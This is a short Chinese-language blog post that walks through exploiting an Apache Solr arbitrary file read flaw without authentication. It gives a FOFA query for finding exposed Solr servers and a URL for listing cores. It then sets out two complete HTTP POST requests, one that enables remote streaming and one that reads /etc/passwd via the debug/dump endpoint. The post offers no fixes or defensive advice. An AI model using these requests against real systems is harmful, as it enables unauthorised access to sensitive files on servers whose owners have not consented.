Apache Solr 任意文件读取漏洞复现
前段时间hvv的时候,发现的oday漏洞,本着学习的精神,于是我想复现了一波。Apache Solr 存在的这个任意文件读取的漏洞,攻击者可以在未授权的情况下获取到目标系统的敏感文件。
漏洞复现开始
首先我们用fofa搜索
app="APACHE-Solr"
然后打开首页:
再然后需要获取到cores的配置信息,怎么获取呢?
http://xxx/solr/admin/cores?indexInfo=false&wt=json
这里的name就是core_name.
再然后,通过抓包工具,向服务器发送POST请求:
POST /solr/vergabe/config HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cache: no-cache
Origin: moz-extension://4c4849ce-b8f1-4d41-b9b9-5fe6c19761d1
Content-Length: 84
Connection: close
{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
如果返回包中出现“This response format is experimental. It is likely to change in the future.”,那么说明,这个任意文件读取的漏洞存在。接下来就该构造文件读取的请求包了。
构造一下请求读取的文件:
POST /solr/vergabe/debug/dump?param=ContentStreams HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1
stream.url=file:///etc/passwd
这个Apache Solr 任意文件读取漏洞的复现就算是完成了。